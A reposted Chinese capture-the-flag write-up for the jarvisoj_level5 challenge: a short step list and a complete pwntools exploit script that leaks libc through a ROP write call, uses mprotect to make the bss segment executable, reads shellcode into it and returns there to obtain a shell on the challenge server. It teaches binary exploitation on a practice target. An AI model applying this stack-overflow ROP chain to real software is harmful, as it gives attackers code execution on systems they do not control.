zoukankan      html  css  js  c++  java
  • jarvisoj_level5

    exp 脚本

    • 利用 rop write 泄露 libc 地址。
    • 获得函数 mprotect 的地址。
    • 返回漏洞函数利用 rop mportect 改写权限使得 bss 段可执行。
    • 返回漏洞函数利用 rop read 往 bss 段写入 shellcode。
    • 返回漏洞函数再次栈溢出控制返回地址指向 bss 段执行 shellcode 。
    from pwn import *
    
    context.log_level='DEBUG'
    r=remote('node3.buuoj.cn',25687)
    #r = process('./level3_x64')
    file=ELF('./level3_x64')
    #libc=ELF('./libc-2.19.so')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    prdi=0x4006b3
    prsi=0x4006b1
    bss_start=0x600a88
    start_addr=0x4004f0
    
    payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
    payload1+=p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload1)
    write_got=u64(r.recv(8))
    sleep(1)
    
    libc_base=write_got-libc.sym['write']
    mprotect=libc_base+libc.sym['mprotect']
    prdx=libc_base+0x1b92
    
    payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload2)
    sleep(1)
    
    payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload3)
    sleep(1)
    r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
    
    payload4='a'*0x80+'b'*8+p64(bss_start)
    r.recvuntil('
    ')
    r.send(payload4)
    
    r.interactive()
    
    

    get flag

    内容来源

    jarvisoj level5爬坑

  • 相关阅读:
    SQLalchemy 字段类型
    爬虫学习
    Linux了解一下
    django-rest-framework
    vue相关理论知识
    Django认证系统
    Form组件
    JS之AJAX
    Django之中间件
    Django之ORM
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12398759.html
Copyright © 2011-2022 走看看